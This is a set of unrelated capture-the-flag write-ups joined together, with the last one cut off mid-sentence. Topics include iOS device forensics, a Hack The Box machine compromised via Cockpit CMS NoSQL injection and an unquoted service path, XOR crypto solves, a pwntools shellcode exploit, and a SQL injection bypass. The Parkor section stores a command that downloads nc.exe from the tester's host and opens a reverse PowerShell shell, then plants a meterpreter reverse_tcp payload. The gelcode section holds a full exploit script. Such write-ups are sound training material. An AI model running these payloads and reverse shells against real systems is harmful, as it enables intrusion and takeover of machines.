00003a00000000000000000000000000000b70',X'62706c6973743030d2010203045756657273696f6e5541727261791009af101605060b0c0d0e0f0d0d0e0512131312140d1516170d0d08d20708090a5f10105f434655524c537472696e67547970655c5f434655524c537472696e67100f5f102a68747470733a2f2f646973636f72642e636f6d2f696f732f38332e302f6d616e69666573742e6a736f6e23404e00000000000010015f101f5f5f434655524c526571756573744e756c6c546f6b656e537472696e675f5f0910840908100023000000000000000013ffffffffffffffff100253474554d618191a1b1c1d1e1f202122235a557365722d4167656e745f100f4163636570742d4c616e6775616765564163636570745d49662d4e6f6e652d4d617463685f100f4163636570742d456e636f64696e67585f5f68686-- snip --``` There's a lot of data, so let's pipe everything to `grep` and find out how the tables are created: ```sh[skat@anubis:~/.../com.hammerandchisel.discord] $ sqlite3 Cache.db ".dump" | grep "CREATE TABLE"``` ```sqlCREATE TABLE cfurl_cache_response(entry_ID INTEGER PRIMARY KEY AUTOINCREMENT UNIQUE, version INTEGER, hash_value INTEGER, storage_policy INTEGER, request_key TEXT UNIQUE, time_stamp NOT NULL DEFAULT CURRENT_TIMESTAMP, partition TEXT);CREATE TABLE cfurl_cache_blob_data(entry_ID INTEGER PRIMARY KEY, response_object BLOB, request_object BLOB, proto_props BLOB, user_info BLOB);CREATE TABLE cfurl_cache_receiver_data(entry_ID INTEGER PRIMARY KEY, isDataOnFS INTEGER, receiver_data BLOB);``` Given that most of what is presumably our mother lode data are data blobs, let's dump those blobs and see what they say. It takes a bit of trial and error until we find what we're looking for in the `receiver_data` blob column of the table `cfurl_cache_receiver_data`: ```sh[skat@anubis:~/.../com.hammerandchisel.discord] $ sqlite3 Cache.db "SELECT receiver_data FROM cfurl_cache_receiver_data"7EE02011-9C66-45A1-BFE4-CB18F2251F24{"url": "wss://gateway.discord.gg"}[{"id": "868914084370866187", "type": 0, "content": "", "channel_id": "868908952434384926", "author": {"id": "868302522304053248", "username": "RedAmogus", "avatar": "f15b13e77a7fe5ef2d4b4d13be65d1dd", "discriminator": "8715", "public_flags": 0}, "attachments": [{"id": "868914084639293490", "filename": "image0.jpg", "size": 13859, "url": "https://cdn.discordapp.com/attachments/868908952434384926/868914084639293490/image0.jpg", "proxy_url": "https://media.discordapp.net/attachments/868908952434384926/868914084639293490/image0.jpg", "width": 421, "height": 421, "content_type": "image/jpeg"}], "embeds": [], "mentions": [], "mention_roles": [], "pinned": false, "mention_everyone": false, "tts": false, "timestamp": "2021-07-25T17:54:21.357000+00:00","edited_timestamp": null, "flags": 0, "components": []}, {"id": "868913936542597140", "type": 0, "content": "Ok", "channel_id": "868908952434384926", "author": {"id": "868302522304053248","username": "RedAmogus", "avatar": "f15b13e77a7fe5ef2d4b4d13be65d1dd", "discriminator": "8715", "public_flags": 0}, "attachments": [], "embeds": [], "mentions": [], "mention_roles": [], "pinned": false, "mention_everyone": false, "tts": false, "timestamp": "2021-07-25T17:53:46.112000+00:00", "edited_timestamp": null, "flags": 0, "components": []}, {"id": "868913804002607114", "type": 0, "content": "The password is ||su5Syb@k4||", "channel_id": "868908952434384926", "author": {"id": "868907394569207858", "username": "BlueAmogus", "avatar": "92f083abd028e406866677d86f4ca3d4", "discriminator": "8346", "public_flags": 0}, "attachments": [], "embeds": [], "mentions": [], "mention_roles": [], "pinned": false, "mention_everyone": false, "tts": false, "timestamp": "2021-07-25T17:53:14.512000+00:00", "edited_timestamp": null, "flags": 0, "components": []}, {"id": "868913676176994324", "type": 0, "content": "I sent you an encrypted note with all the details", "channel_id": "868908952434384926", "author": {"id": "868907394569207858", "username": "BlueAmogus", "avatar": "92f083abd028e406866677d86f4ca3d4", "discriminator": "8346", "public_flags": 0}, "attachments": [], "embeds": [], "mentions": [], "mention_roles": [], "pinned": false, "mention_everyone": false, "tts": false, "timestamp": "2021-07-25T17:52:44.036000+00:00", "edited_timestamp": null, "flags": 0, "components": []}, {"id": "868913627615363103", "type": 0, "content": "I'll deal with them, you just make sure this next sabotage goes to plan", "channel_id": "868908952434384926", "author": {"id": "868907394569207858", "username": "BlueAmogus", "avatar": "92f083abd028e406866677d86f4ca3d4", "discriminator": "8346", "public_flags": 0}, "attachments": [], "embeds": [], "mentions": [], "mention_roles": [], "pinned": false, "mention_everyone": false, "tts": false, "timestamp": "2021-07-25T17:52:32.458000+00:00", "edited_timestamp": null, "flags": 0, "components": []}, {"id": "868913576629403659", "type": 0, "content": "White is onto me\u2026 they kept calling me out last meeting", "channel_id": "868908952434384926", "author": {"id": "868302522304053248", "username": "RedAmogus", "avatar": "f15b13e77a7fe5ef2d4b4d13be65d1dd", "discriminator": "8715", "public_flags": 0}, "attachments": [], "embeds": [], "mentions": [], "mention_roles": [], "pinned": false, "mention_everyone": false, "tts": false, "timestamp": "2021-07-25T17:52:20.302000+00:00", "edited_timestamp": null, "flags": 0, "components": []}, {"id": "868913513463181332", "type": 0, "content": "Yo", "channel_id": "868908952434384926", "author": {"id": "868302522304053248", "username": "RedAmogus", "avatar": "f15b13e77a7fe5ef2d4b4d13be65d1dd", "discriminator": "8715", "public_flags": 0}, "attachments": [], "embeds": [], "mentions": [], "mention_roles": [], "pinned": false, "mention_everyone": false, "tts": false, "timestamp": "2021-07-25T17:52:05.242000+00:00", "edited_timestamp": null, "flags": 0, "components": []}][{"region":"us-central","ips":["138.128.141.109","138.128.143.75","138.128.142.25","138.128.143.90","138.128.143.9"]},{"region":"us-east","ips":["162.244.55.137","35.212.111.96","35.212.103.235","35.212.77.192","35.212.111.72"]},{"region":"atlanta","ips":["31.204.134.61","31.204.134.50","31.204.133.74","31.204.134.36","31.204.133.27"]},{"region":"newark","ips":["109.200.210.38","109.200.210.45","109.200.210.27","109.200.210.51","109.200.210.42"]},{"region":"us-south","ips":["138.128.139.7","138.128.137.12","138.128.139.16","138.128.137.190","138.128.138.244"]}]``` Great, some data! Let's toss this into a code prettifier for easier reading: ```json[ { "id": "868914084370866187", "type": 0, "content": "", "channel_id": "868908952434384926", "author": { "id": "868302522304053248", "username": "RedAmogus", "avatar": "f15b13e77a7fe5ef2d4b4d13be65d1dd", "discriminator": "8715", "public_flags": 0 }, "attachments": [ { "id": "868914084639293490", "filename": "image0.jpg", "size": 13859, "url": "https://cdn.discordapp.com/attachments/868908952434384926/868914084639293490/image0.jpg", "proxy_url": "https://media.discordapp.net/attachments/868908952434384926/868914084639293490/image0.jpg", "width": 421, "height": 421, "content_type": "image/jpeg" } ], "embeds": [], "mentions": [], "mention_roles": [], "pinned": false, "mention_everyone": false, "tts": false, "timestamp": "2021-07-25T17:54:21.357000+00:00", "edited_timestamp": null, "flags": 0, "components": [] }, { "id": "868913936542597140", "type": 0, "content": "Ok", "channel_id": "868908952434384926", "author": { "id": "868302522304053248", "username": "RedAmogus", "avatar": "f15b13e77a7fe5ef2d4b4d13be65d1dd", "discriminator": "8715", "public_flags": 0 }, "attachments": [], "embeds": [], "mentions": [], "mention_roles": [], "pinned": false, "mention_everyone": false, "tts": false, "timestamp": "2021-07-25T17:53:46.112000+00:00", "edited_timestamp": null, "flags": 0, "components": [] },-- snip --``` Based on this little snippet, it looks like messages are stored in a field called "content." We can throw the prettified code into a file and then `grep` it to quickly give us only the messages themselves without all the other data that comes along with them: ```sh[skat@anubis:~/dl] $ grep "\"content\":" codebeautify.json "content": "", "content": "Ok", "content": "The password is ||su5Syb@k4||", "content": "I sent you an encrypted note with all the details", "content": "I'll deal with them, you just make sure this next sabotage goes to plan", "content": "White is onto me… they kept calling me out last meeting", "content": "Yo",``` Just like that, we have the messages from Red's conversation with... with whom? Let's try to get the usernames as well so that we can better understand the situation: ```sh[skat@anubis:~/dl] $ grep "\"content\":\|\"username\":" codebeautify.json "content": "", "username": "RedAmogus", "content": "Ok", "username": "RedAmogus", "content": "The password is ||su5Syb@k4||", "username": "BlueAmogus", "content": "I sent you an encrypted note with all the details", "username": "BlueAmogus", "content": "I'll deal with them, you just make sure this next sabotage goes to plan", "username": "BlueAmogus", "content": "White is onto me… they kept calling me out last meeting", "username": "RedAmogus", "content": "Yo", "username": "RedAmogus",``` It looks like Red is in contact with Blue, and Blue sent Red a note encrypted with the password `su5Syb@k4`. Given that Red is running an Apple system, it would be logical to entertain the hunch that this must be an Apple note. Let's try finding where these files are located on the iPad: ```sh[skat@anubis:~/work/UIUCTF/private/var] $ find . -name "Note"[skat@anubis:~/work/UIUCTF/private/var] $ find . -name "Note*"./mobile/Containers/Shared/AppGroup/4DCEB2C7-5420-4446-9111-4091A929B4AC/NotesIndexerState-Modern./mobile/Containers/Shared/AppGroup/4DCEB2C7-5420-4446-9111-4091A929B4AC/NotesIndexerState-Legacy./mobile/Containers/Shared/AppGroup/4DCEB2C7-5420-4446-9111-4091A929B4AC/NoteStore.sqlite-shm./mobile/Containers/Shared/AppGroup/4DCEB2C7-5420-4446-9111-4091A929B4AC/NoteStore.sqlite-wal./mobile/Containers/Shared/AppGroup/4DCEB2C7-5420-4446-9111-4091A929B4AC/NoteStore.sqlite./mobile/Library/Assistant/CustomVocabulary/com.apple.reminders/0000000000000000000000000000000000000000/NotebookItemTitleType./mobile/Library/Notes``` Great, more databases! We should be familiar with the process by now, but there's an added catch: Blue mentioned that the note is encrypted. If we try accessing the database as it currently is, then it's pretty useless to us. We need some kind of parser, such as [apple_cloud_notes_parser](https://github.com/threeplanetssoftware/apple_cloud_notes_parser), in order to decrypt the note using the `NoteStore.sqlite` file: ```sh[skat@anubis:~/dl/apple_cloud_notes_parser] $ echo "su5Syb@k4" > password.txt[skat@anubis:~/dl/apple_cloud_notes_parser] $ ruby notes_cloud_ripper.rb -f ~/work/UIUCTF/private/var/mobile/Containers/Shared/AppGroup/4DCEB2C7-5420-4446-9111-4091A929B4AC/NoteStore.sqlite -w password.txt Starting Apple Notes Parser at Wed Aug 4 13:27:05 2021Storing the results in ./output/2021_08_04-13_27_05 Created a new AppleBackup from single file: /home/skat/work/UIUCTF/private/var/mobile/Containers/Shared/AppGroup/4DCEB2C7-5420-4446-9111-4091A929B4AC/NoteStore.sqliteGuessed Notes Version: 14Added 1 passwords to the AppleDecrypter from password.txtUpdated AppleNoteStore object with 1 AppleNotes in 2 folders belonging to 1 accounts.Adding the ZICNOTEDATA.ZPLAINTEXT and ZICNOTEDATA.ZDECOMPRESSEDDATA columns, this takes a few seconds Successfully finished at Wed Aug 4 13:27:05 2021``` Great, it looks like we were able to successfully decrypt the note! Let's check out the data: ```sh[skat@anubis:~/dl/apple_cloud_notes_parser] $ cd output/2021_08_04-13_27_05/[skat@anubis:~/dl/apple_cloud_notes_parser/output/2021_08_04-13_27_05] $ lscsv html debug_log.txt NoteStore.sqlite[skat@anubis:~/dl/apple_cloud_notes_parser/output/2021_08_04-13_27_05] $ tree.├── csv│   ├── note_store_accounts_1.csv│   ├── note_store_cloudkit_participants_1.csv│   ├── note_store_embedded_objects_1.csv│   ├── note_store_folders_1.csv│   └── note_store_notes_1.csv├── debug_log.txt├── html│   └── all_notes_1.html├── NoteStore.sqlite└── output.dat 2 directories, 9 files``` It looks like `NoteStore.sqlite` is the original encrypted note store, and `csv` and `html` are directories containing the decrypted output. Let's have a look at `all_notes_1.html` by opening it up in a web browser: ![](https://irissec.xyz/uploads/2021-08-07/all_notes_1.png) We've successfully uncovered what Red and Blue are plotting and in the process, we captured the flag! ### Debriefing We were initially given new information and told that Red had been communicating with another impostor; our objective was to find out who Red and this other impostor were plotting. Looking through Red's SMS text messages on the iPad device, we learned that they agreed with this new party to communicate via Discord. Looking through the cached application data from the Discord app present on Red's device, we discover that the other impostor is Blue and they sent Red an encrypted note with the password given in the Discord chat. Upon locating and decrypting the encrypted note from the device's note store, we uncover what Red and Blue were plotting. This was great and absolutely something that I can see mirroring a real-life scenario! I can say for a fact that I've asked people before to switch from SMS to another service such as Discord since it's easier for me to type from a keyboard. I can also say for a fact that I've discovered a mother lode of data in saved application data and cached application data, and that's something you can expect from real-life scenarios as well! By understanding our situation well and by orienting ourselves at every step, we were able to much more precisely and intently execute our investigation.
## Parkor ### User flag ```bash$ nmap -sS -sV -Pn -p- -T5 -n 10.129.1.2 Nmap scan report for 10.129.1.2Host is up (0.022s latency).Not shown: 65534 filtered portsPORT STATE SERVICE VERSION80/tcp open http Apache httpd 2.4.48 (OpenSSL/1.1.1k PHP/7.4.20)Service Info: Host: localhost``` For this challenge, we were given a PHP application on the port 80 with the home page showing a forbidden status. We started by fuzzing files and directories. By using the wordlist `raft-medium-directories.txt` from SecLists, we noticed the folder `cockpit` was available. We started another fuzzing round by targeting the sub-directory `cockpit`:```bash$ ffuf -D -u http://10.129.1.2/cockpit/FUZZ -w raft-medium-directories.txt -t 20 -fc 403 CONTRIBUTING.md [Status: 200, Size: 4514, Words: 407, Lines: 68]Dockerfile [Status: 200, Size: 738, Words: 130, Lines: 26]INSTALL [Status: 301, Size: 343, Words: 22, Lines: 10]LICENSE [Status: 200, Size: 1133, Words: 153, Lines: 22]README.md [Status: 200, Size: 2248, Words: 206, Lines: 71]addons [Status: 301, Size: 342, Words: 22, Lines: 10]api/2/explore/ [Status: 401, Size: 24, Words: 1, Lines: 1]api/error_log [Status: 401, Size: 24, Words: 1, Lines: 1]api/jsonws [Status: 401, Size: 24, Words: 1, Lines: 1]api/2/issue/createmeta [Status: 401, Size: 24, Words: 1, Lines: 1]api/jsonws/invoke [Status: 401, Size: 24, Words: 1, Lines: 1]api/login.json [Status: 401, Size: 24, Words: 1, Lines: 1]api/v2/helpdesk/discover [Status: 401, Size: 24, Words: 1, Lines: 1]api/package_search/v4/documentation [Status: 401, Size: 24, Words: 1, Lines: 1]assets [Status: 301, Size: 342, Words: 22, Lines: 10]auth [Status: 200, Size: 33, Words: 5, Lines: 1]api/swagger [Status: 401, Size: 24, Words: 1, Lines: 1]api/swagger.yml [Status: 401, Size: 24, Words: 1, Lines: 1]api/swagger-ui.html [Status: 401, Size: 24, Words: 1, Lines: 1]api/v1 [Status: 401, Size: 24, Words: 1, Lines: 1]auth/login [Status: 200, Size: 5661, Words: 1663, Lines: 153]api/v2 [Status: 401, Size: 24, Words: 1, Lines: 1]api/v3 [Status: 401, Size: 24, Words: 1, Lines: 1]composer.json [Status: 200, Size: 934, Words: 241, Lines: 37]Dockerfile [Status: 200, Size: 738, Words: 130, Lines: 26]install/index.php?upgrade/ [Status: 200, Size: 2051, Words: 706, Lines: 59]lib [Status: 301, Size: 339, Words: 22, Lines: 10]storage [Status: 301, Size: 343, Words: 22, Lines: 10]:: Progress: [30000/30000] :: Job [1/1] :: 928 req/sec :: Duration: [0:00:32] :: Errors: 2 ::``` By reading the file `cockpit/composer.json` we noticed the cockpit version `0.11.1` was installed and was vulnerable to NoSQL injections. After reading the interesting blog post [https://swarm.ptsecurity.com/rce-cockpit-cms/](https://swarm.ptsecurity.com/rce-cockpit-cms/), we started exploiting the NoSQL vulnerabilities: 1. We listed all the registered users by injecting the predicate `$func` that calls the PHP function `var_dump` for each username: ```burp POST /cockpit/auth/check HTTP/1.1 Host: 10.129.1.2 [...] {"auth":{"user":{ "$func": "var_dump" },"password":"b"},"csfr":"eyJ[...]Jc"} HTTP/1.0 200 OK [...] string(7) "ricardo" string(5) "laura" string(6) "steven" {"success":false,"error":"User not found"} ``` 2. We requested a password reset for `steven`: ```burp POST /cockpit/auth/requestreset HTTP/1.1 Host: 10.129.1.2 [...] {"user":"steven"} ``` 3. We leaked the reset token of the previous password reset request: ```burp POST /cockpit/auth/resetpassword HTTP/1.1 Host: 10.129.1.2 [...] {"token":{ "$func":"var_dump" }} HTTP/1.0 200 OK [...] string(48) "rp-550435cc8b0dc5e3b23db080c64895d160ff4d28109de" [...]] ``` 4. We changed its password: ```burp POST /cockpit/auth/resetpassword HTTP/1.1 Host: 10.129.1.2 [...] {"token":"rp-550435cc8b0dc5e3b23db080c64895d160ff4d28109de","password":"test1234"} HTTP/1.0 200 OK [...] {"success":true,"message":"Password updated"} ``` 5. We signed in using the new credentials, and used the administrator privileges of `steven` in order to modify the username of another user in order to store the command to execute: ```burp POST /cockpit/accounts/save HTTP/1.1 Host: 10.129.1.2 [...] {"account":{"user":"powershell curl http://10.10.14.65:8080/nc.exe -o C:/Windows/Temp/nc.exe; C:/Windows/Temp/nc.exe 10.10.14.65 9999 -e powershell.exe","name":"Ricardo","email":"[email protected]","active":true,"group":"admin","i18n":"en","_created":1624447093,"_modified":1624626050,"_id":"60d31875353065cc7f000291","_reset_token":null,"api_key":"account-3a99d598a40bd2d6a4b8f3eb541900"}} HTTP/1.0 200 OK [...] {"user":"powershell curl http:\/\/10.10.14.65:8080\/nc.exe -o C:\/Windows\/Temp\/nc.exe; C:\/Windows\/Temp\/nc.exe 10.10.14.65 9999 -e powershell.exe","name":"Ricardo","email":"[email protected]","active":true,"group":"admin","i18n":"en","_created":1624447093,"_modified":1627345520,"_id":"60d31875353065cc7f000291","_reset_token":null,"api_key":"account-3a99d598a40bd2d6a4b8f3eb541900"} ``` 6. We triggered the execution of the stored commands by using the `$func` filter set to `system` and by exploiting the NoSQLi on the endpoint `/cockpit/auth/check`: ```burp POST /cockpit/auth/check HTTP/1.1 Host: 10.129.1.2 [...] {"auth":{"user":{ "$func": "system" },"password":"b"},"csfr":"e[...]c"} ``` 7. We obtained a remote shell on the box as the user `parkor\web` and we retrieved the user flag: ```bash$ nc -nlvp 9999listening on [any] 9999 ...connect to [10.10.14.65] from (UNKNOWN) [10.129.1.2] 49676Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved. PS C:\Users\web\Desktop\xampp\htdocs\cockpit> whoamiwhoami parkor\web PS C:\Users\web\Desktop\xampp\htdocs\cockpit> type C:\Users\web\Desktop\user.txtHTB{D0NT_G3T_C00KY_W17H_JUMP1NG_0VER_C0CKPIT}``` ### Root flag The current user did not have interesting privileges, so we started searching for vulnerable services. We noticed the `Veyon` service was running: ```bashPS> netstat -on TCP 127.0.0.1:11100 0.0.0.0:0 LISTENING 4516TCP 127.0.0.1:11200 0.0.0.0:0 LISTENING 4516TCP 127.0.0.1:11300 0.0.0.0:0 LISTENING 4516 PS C:\Program Files\Veyon\Veyon Service\Veyon> dirdir Directory: C:\Program Files\Veyon\Veyon Service\Veyon Mode LastWriteTime Length Name [...] -a---- 7/9/2020 12:44 AM 406616 veyon-configurator.exe -a---- 7/9/2020 12:44 AM 957528 veyon-core.dll -a---- 7/9/2020 12:44 AM 396376 veyon-master.exe -a---- 7/9/2020 12:44 AM 153688 veyon-server.exe -a---- 7/9/2020 12:44 AM 24664 veyon-service.exe -a---- 7/9/2020 12:44 AM 36440 veyon-wcli.exe -a---- 7/9/2020 12:44 AM 51288 veyon-worker.exe -a---- 7/9/2020 12:46 AM 31320 vnchooks.dll -a---- 7/9/2020 12:46 AM 127064 zlib1.dll ``` After reading the notice [https://www.exploit-db.com/exploits/48246](https://www.exploit-db.com/exploits/48246), we checked the current service path and it was indeed unquoted: ```bashPS C:\Program Files\Veyon\Veyon Service\Veyon> wmic service get name,pathname,displayname,startmode wmic service get name,pathname,displayname,startmode DisplayName Name PathName StartMode [...]Veyon Service VeyonService C:\Program Files\Veyon\Veyon Service\Veyon\veyon-service.exe Auto [...]``` In order to exploit the unquoted path vulnerability, we generated a meterpreter payload and stored it at the path `C:\Program Files\Veyon\Veyon.exe` that precedes the unquoted path `C:\Program Files\Veyon\Veyon Service\Veyon\veyon-service.exe`: ```bash$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.65 LPORT=8383 -e x64/xor_dynamic -b "\xf6" -f exe > m.exe PS C:\Program Files\Veyon> powershell curl http://10.10.14.65:8080/m.exe -o Veyon.exepowershell curl http://10.10.14.65:8080/m.exe -o Veyon.exe PS C:\Program Files\Veyon> dirdir Directory: C:\Program Files\Veyon Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 6/25/2021 4:02 AM Veyon Service -a---- 7/26/2021 5:43 PM 7168 Veyon.exe ``` Then, we started a metasploit handler: ```bash$ msfconsolemsf6 > use exploit/multi/handler[*] Using configured payload generic/shell_reverse_tcpmsf6 exploit(multi/handler) > set LPORT 8383LPORT => 8383msf6 exploit(multi/handler) > use payload/cmd/unix/interactmsf6 payload(cmd/unix/interact) > use exploit/multi/handler[*] Using configured payload generic/shell_reverse_tcpmsf6 exploit(multi/handler) > set LPORT 8383LPORT => 8383msf6 exploit(multi/handler) > set LHOST 10.10.14.65LHOST => 10.10.14.65msf6 exploit(multi/handler) > set LHOST 10.10.14.65LHOST => 10.10.14.65msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcppayload => windows/x64/meterpreter/reverse_tcpmsf6 exploit(multi/handler) > run``` We triggered the vulnerability by restarting the `Veyon` service: ```bashPS C:\Program Files\Veyon> net stop VeyonServicenet stop VeyonServiceThe Veyon Service service is stopping..The Veyon Service service was stopped successfully. PS C:\Program Files\Veyon> net start VeyonServicenet start VeyonService``` Finally, we received a connect-back and we retrieved the root flag: ```bash[*] Started reverse TCP handler on 10.10.14.65:8383 [*] Sending stage (200262 bytes) to 10.129.120.163[*] Meterpreter session 1 opened (10.10.14.65:8383 -> 10.129.120.163:49683) at 2021-07-27 02:46:02 +0200 meterpreter > shellProcess 3296 created.Channel 1 created.Microsoft Windows [Version 10.0.17763.107](c) 2018 Microsoft Corporation. All rights reserved. C:\Windows\system32>cd C:/Users/Administrator/Desktopcd C:/Users/Administrator/Desktop C:\Users\Administrator\Desktop>type root.txttype root.txtHTB{K33P_V1rTu4L_EY3_ON_PA7H5_S1R}```
This is XOR cipher with the flag as repeated key.```php//For these problems I'll only change these 2 lines:$flag = trim(file_get_contents("../../flag1.txt"));$key = pad_string($flag, 0); ``` We use [CyberChef](https://gchq.github.io/CyberChef/) to dump ciphertext to file, then [xortool](https://github.com/hellman/xortool) to find the key length of 25 and try to reveal some part of the flag.```$ xortool otp1.datThe most probable key lengths: 2: 9.6% 5: 15.6%10: 13.0%13: 7.7%15: 10.3%20: 8.6%22: 6.1%25: 15.4%30: 6.1%50: 7.6%Key-length can be 5*nMost possible char is needed to guess the key!$ xortool -l 25 -c 'E' otp1.dat4 possible key(s) of length 25:UDCTFjw?}r!mtNe0N
### Part 1: Get Access to the Ransomware Gangs Server We were given this hostname ransomware.dogedays.ca and the following challenge: > Ransomware is insanely profitable, and is hard to fight. So of course this gang is dabbling in it! And they are expanding their reach by bringing it to the masses - as a service… ! We found the server that contains the ransomware encryptor that the criminals are using. We don’t have a way to get inside, but maybe you will be more successful? Once you are in, find the full path of the encryptor program, and submit it as a flag. [Click here to Read the Full Writeup](https://crazyeights225.github.io/cs-track2/)
## **Thanks for playing** **Description:** My friend told me that one of the CTF organizers left a note on twitter but I can't seem to find it. #RTLxHA ----- The description leaves us a hint saying "#RTLxHA". So you'll just have to search the hashtag on Twitter and this Tweet will appear:![](https://i.imgur.com/no5k7E6.jpg)(link: [https://twitter.com/d4rckh/status/1421816732860157956](https://twitter.com/d4rckh/status/1421816732860157956)) Clicking on the [link](https://rtl-ctf.hackarmour.tech/secret) leads to this page:![](https://i.imgur.com/dsnJbBn.jpg) ### **Flag: RTL{TH4NK2_F0R_PL4Y1NG}**
### Solve.py```python# solve.pyfrom pwn import * conn = remote('104.199.9.13', 1338) nulls = '00'*32 # 32 null bytes conn.sendlineafter('(hex)]> ', nulls) # get the ciphertext that the program gives# and decode it from hexcipher = bytes.fromhex(conn.recvline().decode().split()[-1]) # Extract key and flag from cipherkey = cipher[:32]flag = cipher[32:] flag = xor(flag, key) print(flag.decode())``` flag: `BSNoida{how_can_you_break_THE_XOR_?!?!}`
I did the gelcode challenge in HSCTF 2021 in solo, but did not finish it before CTF's end... this one was based on first gelcode, but even more restricted, you can only use opcodes values from 0 to 5.. there was also a seccomp in place![](https://imgur.com/6hYpm4F.png) which only allows open, read, write syscalls as often for this kind challenge, the solution, is escape as soon as you can from this hell.. with a read syscall, to read a unrestricted shellcode.. for this we need at minimum, to have:* eax = 0* rsi pointing to a RWX buffer* rdi = 0* and rdx containing an enough big value (at least as big as our shellcode, but can be bigger) to complicate things, all the registers are set to 0x1337133713371337 before calling our shellcode, even rsp, so we can not use stack. the solution, in our case is self modifying code, we are going to generate the opcodes we need, to bypass the restrictions in place. we will use mainly:```add eax,dword value # opcode 05 val val val val```to modify eax, (as we are in 64bit , the upper 32bits of rax will be cleared by using 32 bit arithmetic instructions) ```add al,byte value # opcode 04 val```to modify al only ```add dword[rip+0],eax # opcode 01 05 00 00 00 00```to modify next instruction (rip+0) by adding eax to values in place, with this one we can create instructions with any opcodes we want ```add byte[rip+0],al # opcode 00 05 00 00 00 00```to modify next instruction (rip+0) by adding al to value in place, with this one also we can create instructions with any opcodes we want that's all we need !!! first we create an opcode lea rsi,[rip] to make rsi points to ourself then mov edx, 0x400 mov edi,0 then xor eax,eax / syscall to call the read syscall reading data on ourselves, and replace the actual restricted shellcode by a second one, unrestricted, where we can do an open/read/write shellcode to dump the flag... I got first blood on this one (yes a bit proud :) ) the final shellcode was 361 bytes long. with our team "Sentry Up Before You Nops Nops" --> french super team...cream of the cream... ```#!/usr/bin/env python# -*- coding: utf-8 -*-from pwn import * context.update(arch="amd64", os="linux")context.log_level = 'info' exe = ELF('./gelcode-2')host, port = "mc.ax", "31034" # from a src eax, calculate increment of each byte to read dest eax, and emit correct opcodes for itdef equalize(src, dst): ret = '' ov0 = 0 ov1 = 0 ov2 = 0 d0 = dst & 0xff d1 = (dst>>8)&0xff d2 = (dst>>16)&0xff d3 = (dst>>24)&0xff s0 = src & 0xff s1 = (src>>8)&0xff s2 = (src>>16)&0xff s3 = (src>>24)&0xff if (d0<s0): d0 += 0x100 ov0 = 1 s1 += 1 if (d1<s1): d1 += 0x100 ov1 = 1 s2 += 1 if (d2<s2): d2 += 0x100 ov2 = 1 s3 += 1 if (d3<s3): d3 += 0x100 while True: if ((s0 == d0) and (s1 == d1) and (s2 == d2) and (s3 == d3)): break if ((d0 - s0) > 5): o0 = 5 else: o0 = d0 - s0 if ((d1 - s1) > 5): o1 = 5 else: o1 = d1 - s1 if ((d2 - s2) > 5): o2 = 5 else: o2 = d2 - s2 if ((d3 - s3) > 5): o3 = 5 else: o3 = d3 - s3 s0 += o0 s1 += o1 s2 += o2 s3 += o3 ret += 'add eax,0x0'+str(o3)+'0'+str(o2)+'0'+str(o1)+'0'+str(o0)+'\n' return ret # create lea rsi,[rip] opcodesc = equalize(0x13371337,0x3088438b)sc += 'add [rip+0],eax\n'sc += '.byte 5,5,5,5,0,0,0,0\n'sc += 'add al,5\n'*8sc += 'add al,2\n'#create mov edx, 0x400 opcodesc += 'add [rip+0x0],al\n'sc += '.byte 5,0,4,0,0\n'sc += 'add al,5\n'# create mov edi,0 opcodesc += 'add [rip+0],al\n'sc += '.byte 5,0,0,0,0\n'# create xor eax,eax / syscall opcodessc += equalize(0x308843ba, 0xabb2c)sc += 'add [rip+0],eax\n'sc += '.byte 5,5,5,5\n' shellcode = asm(sc)print('shellcode length: '+str(len(shellcode))) length = len(shellcode) p = remote(host,port)p.recvuntil('is ', drop=True)length = 362 payload = bytearray(shellcode.ljust(length,b'\x00')) # second shellcode, read from the first one, simple open('flag.txt') , read(), write it to stdout (if program does not ouput to stdout try other fds 0,1,2,3,4,5,etc..)shellcode2 = asm(''' mov rdi,rsi mov rbp,rdi mov rsi,0 mov rdx,0 mov eax,2 syscall mov rdi,rax mov rsi,rbp mov rdx,0x200 mov eax,0 syscallnext: mov rdx,rax mov rdi,1 mov rsi,rbp mov eax,1 syscall mov eax,60 syscall''') p.sendafter('input:\n', payload) # the flag filename is here, normally it's in current directory on remote machinepayload = b'flag.txt\x00'payload = payload.ljust(0x150,b'\x90')payload += shellcode2 p.send(payload) p.interactive() ``` *Nobodyisnobody stills pwning things..*
# Death Note #### Category : Death Note#### Points : 454 (43 solves)#### Author : Mr.Grep ## ChallengeCTF Box based on Death NoteNote : submit the root flag [chall link](https://tryhackme.com/jr/bsidesnoida2021ctfn6) ## Solution#### Nmap ScanScanning for ports, we see that there are only 2 ports open : 22 and 80. #### Directory scanScanning for directories with the given [wordlst](https://github.com/p1xxxel) ```bashindex.html [Status: 200, Size: 4173, Words: 1633, Lines: 104]s3cr3t [Status: 200, Size: 63, Words: 12, Lines: 2]robots.txt [Status: 200, Size: 17, Words: 3, Lines: 2]ryuk.apples [Status: 200, Size: 1766, Words: 9, Lines: 31]robots.txt [Status: 200, Size: 17, Words: 3, Lines: 2]server-status [Status: 403, Size: 277, Words: 20, Lines: 10]:: Progress: [4614/4614] :: Job [1/1] :: 148 req/sec :: Duration: [0:00:31] :: Errors: 0 ::``` At `ryuk.apples`, there is a ssh private key but it has a passphrase. #### Cracking ssh keyWe can use `ssh2john` and then crack it with john using the given wordlist. Now we can use this to login as `ryuk` #### Cracking shadowWe see in ryuk's home directory there is shadow and passwd. Using them, we get the password of `light` #### Getting flagDoing a `sudo -l`, we can run `cat` as root so we can just cat the flag at `/root/root.txt` So the flag is `BSNoida{Pr1vEsc_w4a_E4sy_P3a5y}`
# Baby Web #### Category : Web#### Points : 420 (68 solves)#### Author : Karma ## ProblemJust a place to see list of all challs from bsides noida CTF, maybe some flag too xDNote : Bruteforce is not required. [Link](http://ctf.babyweb.bsidesnoida.in/) [Sauce](https://storage.googleapis.com/noida_ctf/Web/baby_web.zip) ## Solution Downloading the source and hosting it in a docker locally, we see that this website takes a parameter `chall_id` Looking at the `index.php` file, we see that the following sql query is being executed. But if we try to put an alphabet in the parameter `chall_id`, we get an error. Looking at `config/ctf.conf` in the source code, there is some regex that is used to prevent alphabets and white spaces. To bypass this we can use two parameters so that first one is processed by nginx and second one bypasses it. ```htmlGET /?chall_id=1&chall_id=a``` And to bypass the white space restriction we can use comments. So instead of `UNION SELECT`, we use `UNION/**/SELECT` ### Listing columns and tablesFrom opening `karma.db`(from 